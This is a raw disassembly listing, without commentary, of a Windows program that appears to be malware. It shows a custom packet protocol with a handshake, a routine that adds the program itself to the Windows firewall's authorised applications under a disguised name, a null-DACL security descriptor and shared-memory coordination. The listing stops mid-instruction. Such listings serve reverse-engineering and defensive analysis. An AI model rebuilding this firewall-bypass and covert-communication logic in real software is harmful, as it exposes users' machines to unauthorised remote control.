loc_401AAD: ; CODE XREF: sub_401A55+3Ej cmp esi, 40h jl short loc_401A95 mov al, [ebx+63h] mov [ebp+var_1], al mov esi, 1Fh loc_401ABD: ; CODE XREF: sub_401A55+76j lea eax, [esi-1] mov al, [ebx+eax+44h] mov [ebx+esi+44h], al dec esi test esi, esi jg short loc_401ABD mov al, [ebp+var_1] mov [ebx+44h], al pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ADA proc near ; CODE XREF: sub_401B8F+13p ; sub_401D76+8Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_C] test esi, esi jl short loc_401AF3 cmp esi, 0FFFFh jle short loc_401AFA loc_401AF3: ; CODE XREF: sub_401ADA+Fj xor eax, eax jmp loc_401B88 ; --------------------------------------------------------------------------- loc_401AFA: ; CODE XREF: sub_401ADA+17j cmp [ebp+arg_10], 0 jz short loc_401B07 push ebx call sub_401A55 pop ecx loc_401B07: ; CODE XREF: sub_401ADA+24j mov edi, [ebx+46Ch] mov word ptr [edi], 29Ah add edi, 2 mov ax, [ebp+arg_4] mov [edi], ax add edi, 2 mov ax, si mov [edi], ax add edi, 2 test esi, esi jz short loc_401B39 push esi push [ebp+arg_8] push edi call sub_4079C0 add esp, 0Ch loc_401B39: ; CODE XREF: sub_401ADA+50j add esi, 6 push esi movzx eax, [ebp+arg_4] push eax push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n" call nullsub_2 add esp, 0Ch cmp [ebp+arg_10], 0 jz short loc_401B68 push esi push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401B68: ; CODE XREF: sub_401ADA+79j push esi push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_401787 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], esi jge short loc_401B85 xor eax, eax jmp short loc_401B88 ; --------------------------------------------------------------------------- loc_401B85: ; CODE XREF: sub_401ADA+A5j xor eax, eax inc eax loc_401B88: ; CODE XREF: sub_401ADA+1Bj ; sub_401ADA+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401ADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B8F proc near ; CODE XREF: DMN0:00401F47p ; sub_403C3F+20Bp arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] movzx eax, [ebp+arg_4] push eax push [ebp+arg_0] call sub_401ADA add esp, 14h pop ebp retn sub_401B8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BAC proc near ; CODE XREF: sub_401D5B+11p ; DMN0:00401E35p var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_10] mov edx, [ebp+arg_4] mov word ptr [edx], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_C] test eax, eax jl short loc_401BD5 cmp eax, 0FFFFh jle short loc_401BDD loc_401BD5: ; CODE XREF: sub_401BAC+20j or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401BDD: ; CODE XREF: sub_401BAC+27j test esi, esi jz short loc_401BE8 push ebx call sub_401A55 pop ecx loc_401BE8: ; CODE XREF: sub_401BAC+33j push 2 lea eax, [ebp+var_6] push eax push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401C0F mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C0F: ; CODE XREF: sub_401BAC+51j test esi, esi jz short loc_401C25 push 2 lea eax, [ebp+var_6] push eax lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401C25: ; CODE XREF: sub_401BAC+65j cmp [ebp+var_6], 29Ah jz short loc_401C48 movzx eax, [ebp+var_6] push eax push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n" call nullsub_2 pop ecx pop ecx mov eax, 0FFFFFFFEh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C48: ; CODE XREF: sub_401BAC+7Fj push 2 push [ebp+arg_4] push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401C6E mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C6E: ; CODE XREF: sub_401BAC+B0j test esi, esi jz short loc_401C83 push 2 push [ebp+arg_4] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401C83: ; CODE XREF: sub_401BAC+C4j mov eax, [ebp+arg_4] movzx eax, word ptr [eax] push eax push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n" call nullsub_2 pop ecx pop ecx push 2 lea eax, [ebp+var_4] push eax push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401CBD mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401CBD: ; CODE XREF: sub_401BAC+FFj test esi, esi jz short loc_401CD3 push 2 lea eax, [ebp+var_4] push eax lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401CD3: ; CODE XREF: sub_401BAC+113j push [ebp+arg_C] push [ebp+var_4] push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n" call nullsub_2 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_401D0B push [ebp+var_4] push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, [ebp+var_4] jge short loc_401D0B or eax, 0FFFFFFFFh jmp short loc_401D54 ; --------------------------------------------------------------------------- loc_401D0B: ; CODE XREF: sub_401BAC+13Ej ; sub_401BAC+158j test esi, esi jz short loc_401D24 push [ebp+var_4] push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401D24: ; CODE XREF: sub_401BAC+161j cmp [ebp+arg_8], 0 jz short loc_401D51 mov eax, [ebp+arg_C] cmp [ebp+var_4], eax jle short loc_401D38 mov eax, [ebp+arg_C] mov [ebp+var_4], eax loc_401D38: ; CODE XREF: sub_401BAC+184j mov eax, [ebp+var_4] test eax, eax jz short loc_401D51 push eax push dword ptr [ebx+46Ch] push [ebp+arg_8] call sub_4079C0 add esp, 0Ch loc_401D51: ; CODE XREF: sub_401BAC+17Cj ; sub_401BAC+191j mov eax, [ebp+var_4] loc_401D54: ; CODE XREF: sub_401BAC+2Cj ; sub_401BAC+5Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D5B proc near ; CODE XREF: sub_401F51+18p ; sub_403C3F+26Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401BAC add esp, 14h pop ebp retn sub_401D5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D76 proc near ; CODE XREF: sub_403C3F+166p var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] lea edi, [ebp+var_80] lea edi, [ebp+var_80] mov word ptr [edi], 1 add edi, 2 mov word ptr [edi], 0Bh add edi, 2 and dword ptr [edi], 0 add edi, 4 mov ax, [ebp+arg_4] mov [edi], ax add edi, 4 or esi, 1000h mov ax, si mov [edi], ax add edi, 2 mov word ptr [edi], 40h add edi, 2 mov word ptr [edi], 20h add edi, 2 push 40h lea eax, [ebx+4] push eax push edi call sub_4079C0 add esp, 0Ch add edi, 40h push 20h lea eax, [ebx+44h] push eax push edi call sub_4079C0 add esp, 0Ch add edi, 20h push 0 lea eax, [ebp+var_80] mov edx, edi sub edx, eax push edx lea eax, [ebp+var_80] push eax push 1 push ebx call sub_401ADA add esp, 14h pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401D76 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi lea ebx, [ebp-80h] push 0 push 80h lea eax, [ebp-80h] push eax lea eax, [ebp-84h] push eax push dword ptr [ebp+8] call sub_401BAC add esp, 14h mov esi, eax cmp word ptr [ebp-84h], 1 jnz short loc_401E4E cmp esi, 0Ah jge short loc_401E7B loc_401E4E: ; CODE XREF: DMN0:00401E47j cmp esi, 0Ah jge short loc_401E60 push offset aHandshakeRecvE ; "Handshake: recv() error\n" call nullsub_2 pop ecx jmp short loc_401E74 ; --------------------------------------------------------------------------- loc_401E60: ; CODE XREF: DMN0:00401E51j movzx eax, word ptr [ebp-84h] push eax push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n" call nullsub_2 pop ecx pop ecx loc_401E74: ; CODE XREF: DMN0:00401E5Ej xor eax, eax jmp loc_401F2F ; --------------------------------------------------------------------------- loc_401E7B: ; CODE XREF: DMN0:00401E4Cj lea ebx, [ebp-80h] cmp word ptr [ebx], 1 jz short loc_401E9B movzx eax, word ptr [ebx] push eax push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n" call nullsub_2 pop ecx pop ecx xor eax, eax jmp loc_401F2F ; --------------------------------------------------------------------------- loc_401E9B: ; CODE XREF: DMN0:00401E82j add ebx, 2 mov edx, [ebp+0Ch] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 add ebx, 4 mov edx, [ebp+10h] mov ax, [ebx] mov [edx], ax add ebx, 4 mov edx, [ebp+14h] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 mov ax, [ebx] mov [ebp-82h], ax add ebx, 2 cmp word ptr [ebp-82h], 40h jz short loc_401EDE xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401EDE: ; CODE XREF: DMN0:00401ED8j mov di, [ebx] add ebx, 2 cmp di, 20h jz short loc_401EEE xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: DMN0:00401EE8j sub esi, 10h movzx eax, word ptr [ebp-82h] movzx edx, di add eax, edx cmp esi, eax jge short loc_401F05 xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401F05: ; CODE XREF: DMN0:00401EFFj push 40h push ebx mov eax, [ebp+8] add eax, 4 push eax call sub_4079C0 add esp, 0Ch add ebx, 40h push 20h push ebx mov eax, [ebp+8] add eax, 44h push eax call sub_4079C0 add esp, 0Ch xor eax, eax inc eax loc_401F2F: ; CODE XREF: DMN0:00401E76j ; DMN0:00401E96j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1 lea eax, [ebp+0Ch] push eax push 29Ah push dword ptr [ebp+8] call sub_401B8F add esp, 10h pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F51 proc near ; CODE XREF: sub_403C3F+18Ep ; sub_403C3F+245p var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov [ebp+var_2], 0 push 1 lea eax, [ebp+var_2] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_401D5B add esp, 10h mov ebx, eax cmp [ebp+var_4], 29Ah jnz short loc_401F80 cmp ebx, 1 jz short loc_401F85 loc_401F80: ; CODE XREF: sub_401F51+28j or eax, 0FFFFFFFFh jmp short loc_401F89 ; --------------------------------------------------------------------------- loc_401F85: ; CODE XREF: sub_401F51+2Dj movzx eax, [ebp+var_2] loc_401F89: ; CODE XREF: sub_401F51+32j pop ebx mov esp, ebp pop ebp retn sub_401F51 endp ; =============== S U B R O U T I N E ======================================= sub_401F8E proc near ; CODE XREF: sub_406A81+3Ap push ebx push 10h call sub_401048 pop ecx mov ebx, eax pop ebx retn sub_401F8E endp ; =============== S U B R O U T I N E ======================================= sub_401F9B proc near ; CODE XREF: DMN0:00401FD4p ; DMN0:004021DFp ... arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_401FC6 mov esi, [ebx+4] jmp short loc_401FB7 ; --------------------------------------------------------------------------- loc_401FAB: ; CODE XREF: sub_401F9B+1Ej mov edi, esi mov esi, [esi+8] push edi call sub_401076 pop ecx loc_401FB7: ; CODE XREF: sub_401F9B+Ej test esi, esi jnz short loc_401FAB and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 and dword ptr [ebx+8], 0 loc_401FC6: ; CODE XREF: sub_401F9B+9j pop edi pop esi pop ebx retn sub_401F9B endp ; --------------------------------------------------------------------------- push ebx mov ebx, [esp+8] test ebx, ebx jz short loc_401FE1 push ebx call sub_401F9B pop ecx push ebx call sub_401076 pop ecx loc_401FE1: ; CODE XREF: DMN0:00401FD1j pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_401FE3 proc near ; CODE XREF: sub_40417F+4Bp ; sub_404645+B0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx mov ecx, [esp+4+arg_4] mov bx, [esp+4+arg_8] mov eax, [esp+4+arg_0] mov edx, [eax+4] jmp short loc_40200A ; --------------------------------------------------------------------------- loc_401FF6: ; CODE XREF: sub_401FE3+29j cmp [edx+4], ecx jnz short loc_402007 test bx, bx jz short loc_402005 cmp [edx], bx jnz short loc_402007 loc_402005: ; CODE XREF: sub_401FE3+1Bj jmp short loc_40200E ; --------------------------------------------------------------------------- loc_402007: ; CODE XREF: sub_401FE3+16j ; sub_401FE3+20j mov edx, [edx+8] loc_40200A: ; CODE XREF: sub_401FE3+11j test edx, edx jnz short loc_401FF6 loc_40200E: ; CODE XREF: sub_401FE3:loc_402005j mov eax, edx pop ebx retn sub_401FE3 endp ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push 14h call sub_401048 pop ecx mov esi, eax mov eax, [ebx+4] mov [esi+8], eax mov [ebx+4], esi cmp dword ptr [ebx], 0 jnz short loc_402032 mov [ebx], esi loc_402032: ; CODE XREF: DMN0:0040202Ej inc dword ptr [ebx+8] mov eax, [esp+10h] mov [esi+4], eax mov ax, [esp+14h] mov [esi], ax mov eax, esi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_402049 proc near ; CODE XREF: DMN0:004021F6p ; sub_403B86+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi mov ebx, [esp+8+arg_0] push 14h call sub_401048 pop ecx mov esi, eax cmp dword ptr [ebx], 0 jz short loc_402067 mov edx, [ebx] mov [edx+8], esi mov [ebx], esi jmp short loc_40206C ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_402049+13j mov [ebx], esi mov [ebx+4], esi loc_40206C: ; CODE XREF: sub_402049+1Cj inc dword ptr [ebx+8] mov eax, [esp+8+arg_4] mov [esi+4], eax mov ax, [esp+8+arg_8] mov [esi], ax mov eax, esi pop esi pop ebx retn sub_402049 endp ; =============== S U B R O U T I N E ======================================= sub_402083 proc near ; CODE XREF: DMN0:0040219Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi push edi mov bx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_4020B0 ; --------------------------------------------------------------------------- loc_402096: ; CODE XREF: sub_402083+2Fj mov eax, [esp+0Ch+arg_4] cmp [esi+4], eax jnz short loc_4020AB test bx, bx jz short loc_4020A9 cmp [esi], bx jnz short loc_4020AB loc_4020A9: ; CODE XREF: sub_402083+1Fj jmp short loc_4020B4 ; --------------------------------------------------------------------------- loc_4020AB: ; CODE XREF: sub_402083+1Aj ; sub_402083+24j mov edi, esi mov esi, [esi+8] loc_4020B0: ; CODE XREF: sub_402083+11j test esi, esi jnz short loc_402096 loc_4020B4: ; CODE XREF: sub_402083:loc_4020A9j test esi, esi jnz short loc_4020BC xor eax, eax jmp short loc_402102 ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_402083+33j test edi, edi jz short loc_4020D6 mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_4020CE mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_4020CE: ; CODE XREF: sub_402083+43j mov eax, [esi+8] mov [edi+8], eax jmp short loc_4020F1 ; --------------------------------------------------------------------------- loc_4020D6: ; CODE XREF: sub_402083+3Bj mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_4020F1 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_4020F1: ; CODE XREF: sub_402083+51j ; sub_402083+65j mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_401076 pop ecx xor eax, eax inc eax loc_402102: ; CODE XREF: sub_402083+37j pop edi pop esi pop ebx retn sub_402083 endp ; =============== S U B R O U T I N E ======================================= sub_402106 proc near ; CODE XREF: DMN0:004021C5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov ebx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_402128 ; --------------------------------------------------------------------------- loc_402118: ; CODE XREF: sub_402106+24j mov eax, [esp+0Ch+arg_4] sub eax, [esi+10h] cmp eax, ebx jnb short loc_40212C mov edi, esi mov esi, [esi+8] loc_402128: ; CODE XREF: sub_402106+10j test esi, esi jnz short loc_402118 loc_40212C: ; CODE XREF: sub_402106+1Bj test esi, esi jnz short loc_402134 xor eax, eax jmp short loc_40217A ; --------------------------------------------------------------------------- loc_402134: ; CODE XREF: sub_402106+28j test edi, edi jz short loc_40214E mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_402146 mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_402146: ; CODE XREF: sub_402106+38j mov eax, [esi+8] mov [edi+8], eax jmp short loc_402169 ; --------------------------------------------------------------------------- loc_40214E: ; CODE XREF: sub_402106+30j mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_402169 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_402169: ; CODE XREF: sub_402106+46j ; sub_402106+5Aj mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_401076 pop ecx xor eax, eax inc eax loc_40217A: ; CODE XREF: sub_402106+2Cj pop edi pop esi pop ebx retn sub_402106 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov si, [ebp+10h] xor edi, edi jmp short loc_402192 ; --------------------------------------------------------------------------- loc_40218F: ; CODE XREF: DMN0:004021A4j xor edi, edi inc edi loc_402192: ; CODE XREF: DMN0:0040218Dj movzx eax, si push eax push ebx push dword ptr [ebp+8] call sub_402083 add esp, 0Ch test eax, eax jnz short loc_40218F mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov esi, [ebp+10h] xor edi, edi jmp short loc_4021C0 ; --------------------------------------------------------------------------- loc_4021BD: ; CODE XREF: DMN0:004021CFj xor edi, edi inc edi loc_4021C0: ; CODE XREF: DMN0:004021BBj push esi push ebx push dword ptr [ebp+8] call sub_402106 add esp, 0Ch test eax, eax jnz short loc_4021BD mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push ebx call sub_401F9B pop ecx mov eax, [esp+10h] mov esi, [eax+4] jmp short loc_402201 ; --------------------------------------------------------------------------- loc_4021EE: ; CODE XREF: DMN0:00402203j movzx eax, word ptr [esi] push eax push dword ptr [esi+4] push ebx call sub_402049 add esp, 0Ch mov esi, [esi+8] loc_402201: ; CODE XREF: DMN0:004021ECj test esi, esi jnz short loc_4021EE pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402208 proc near ; CODE XREF: sub_402296+98p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E28 ; RegCreateKeyExA test eax, eax jnz short loc_40225A push [ebp+arg_C] call sub_4079E0 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E2C ; RegSetValueExA push [ebp+var_4] call dword_411E30 ; RegCloseKey loc_40225A: ; CODE XREF: sub_402208+29j mov esp, ebp pop ebp retn sub_402208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40225E proc near ; CODE XREF: DMN0:0040237Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E34 ; RegOpenKeyExA test eax, eax jnz short loc_402292 push [ebp+arg_8] push [ebp+var_4] call dword_411E38 ; RegDeleteKeyA push [ebp+var_4] call dword_411E30 ; RegCloseKey loc_402292: ; CODE XREF: sub_40225E+1Dj mov esp, ebp pop ebp retn sub_40225E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402296 proc near ; CODE XREF: sub_406A81:loc_406CB2p var_20A = byte ptr -20Ah var_105 = byte ptr -105h push ebp mov ebp, esp sub esp, 20Ch push ebx push 104h lea eax, [ebp+var_105] push eax push 0 call dword_411CE0 ; GetModuleFileNameA mov ebx, eax mov [ebp+ebx+var_105], 0 cmp [ebp+var_105], 0 jz short loc_402336 lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax call sub_407A00 pop ecx pop ecx push dword_4128A8 lea eax, [ebp+var_105] push eax call sub_407A20 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_105] push eax call sub_407A20 pop ecx pop ecx push offset aWindowsNetwork ; "Windows Network Management and Security"... lea eax, [ebp+var_105] push eax call sub_407A20 pop ecx pop ecx lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_402208 add esp, 10h loc_402336: ; CODE XREF: sub_402296+2Fj pop ebx mov esp, ebp pop ebp retn sub_402296 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 108h push ebx push 104h lea eax, [ebp-105h] push eax push 0 call dword_411CE0 ; GetModuleFileNameA mov ebx, eax mov byte ptr [ebp+ebx-105h], 0 cmp byte ptr [ebp-105h], 0 jz short loc_402385 lea eax, [ebp-105h] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_40225E add esp, 0Ch loc_402385: ; CODE XREF: DMN0:0040236Aj pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40238A proc near ; CODE XREF: sub_4023DC+2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx cmp dword_411008, 0 jnz short loc_4023D7 push 14h push 40h call dword_411CE4 ; LocalAlloc mov ebx, eax push 1 push ebx call dword_411E3C ; InitializeSecurityDescriptor push 0 push 0 push 1 push ebx call dword_411E40 ; SetSecurityDescriptorDacl mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], 1 mov dword_411008, 1 loc_4023D7: ; CODE XREF: sub_40238A+Ej pop ebx mov esp, ebp pop ebp retn sub_40238A endp ; =============== S U B R O U T I N E ======================================= sub_4023DC proc near ; CODE XREF: sub_403C3F+7Fp ; sub_406A81+23Fp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi call sub_40238A push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 100h push 0 push 4 push offset dword_41292C push 0FFFFFFFFh loc_4023FB: ; DATA XREF: DMN1:00450CECo call dword_411CE8 ; CreateFileMappingA mov ebx, eax test eax, eax jz short loc_402446 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 0B7h jz short loc_402444 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CF0 ; MapViewOfFile mov esi, eax test esi, esi jz short loc_402444 mov ax, [esp+8+arg_0] mov [esi], ax mov ax, [esp+8+arg_4] mov [esi+2], ax push esi call dword_411CF4 ; UnmapViewOfFile loc_402444: ; CODE XREF: sub_4023DC+36j ; sub_4023DC+4Ej mov eax, ebx loc_402446: ; CODE XREF: sub_4023DC+29j pop esi pop ebx retn sub_4023DC endp ; =============== S U B R O U T I N E ======================================= sub_402449 proc near ; CODE XREF: sub_403C3F+9Bp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi push edi xor edi, edi push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF8 ; OpenFileMappingA mov ebx, eax test eax, eax jz short loc_4024A2 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CF0 ; MapViewOfFile mov esi, eax test esi, esi jz short loc_402499 mov ax, [esp+0Ch+arg_0] mov [esi], ax mov ax, [esp+0Ch+arg_4] mov [esi+2], ax push esi call dword_411CF4 ; UnmapViewOfFile xor edi, edi inc edi loc_402499: ; CODE XREF: sub_402449+33j push ebx call dword_411CFC ; CloseHandle mov eax, edi loc_4024A2: ; CODE XREF: sub_402449+1Bj pop edi pop esi pop ebx retn sub_402449 endp ; =============== S U B R O U T I N E ======================================= sub_4024A6 proc near ; CODE XREF: sub_404CDF+23p arg_0 = dword ptr 4 push ebx push esi push edi xor si, si push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF8 ; OpenFileMappingA mov ebx, eax test ebx, ebx jnz short loc_4024CB mov eax, 0FFFFh jmp short loc_40250D ; --------------------------------------------------------------------------- loc_4024CB: ; CODE XREF: sub_4024A6+1Cj push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CF0 ; MapViewOfFile mov edi, eax test edi, edi jz short loc_402503 mov si, [edi] test si, si jz short loc_4024F8 mov edx, [esp+0Ch+arg_0] mov ax, [edi+2] mov [edx], ax jmp short loc_4024FC ; --------------------------------------------------------------------------- loc_4024F8: ; CODE XREF: sub_4024A6+43j mov si, 0FFFFh loc_4024FC: ; CODE XREF: sub_4024A6+50j push edi call dword_411CF4 ; UnmapViewOfFile loc_402503: ; CODE XREF: sub_4024A6+3Bj push ebx call dword_411CFC ; CloseHandle movzx eax, si loc_40250D: ; CODE XREF: sub_4024A6+23j pop edi pop esi pop ebx retn sub_4024A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402511 proc near ; CODE XREF: sub_4025A9+2Dp ; sub_402B02+23Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_4079E0 pop ecx mov edi, eax push [ebp+var_4] call sub_4079E0 pop ecx mov ebx, eax jmp short loc_402555 ; --------------------------------------------------------------------------- loc_402537: ; CODE XREF: sub_402511+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411D00 ; CompareStringA cmp eax, 2 jnz short loc_402553 mov eax, esi jmp short loc_40255B ; --------------------------------------------------------------------------- loc_402553: ; CODE XREF: sub_402511+3Cj inc esi dec edi loc_402555: ; CODE XREF: sub_402511+24j cmp edi, ebx jge short loc_402537 xor eax, eax loc_40255B: ; CODE XREF: sub_402511+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402511 endp ; =============== S U B R O U T I N E ======================================= sub_402562 proc near ; CODE XREF: sub_4025A9+1C4p ; sub_402896+12Cp arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] call dword_411CC8 ; GetTickCount lea esi, [eax+7D0h] loc_402574: ; CODE XREF: sub_402562+40j push ebx call sub_401542 pop ecx test eax, eax jle short loc_402584 xor eax, eax inc eax jmp short loc_4025A6 ; --------------------------------------------------------------------------- loc_402584: ; CODE XREF: sub_402562+1Bj push offset a_ ; "." call sub_4075F0 pop ecx push 12Ch call dword_411D04 ; Sleep call dword_411CC8 ; GetTickCount cmp eax, esi jb short loc_402574 xor eax, 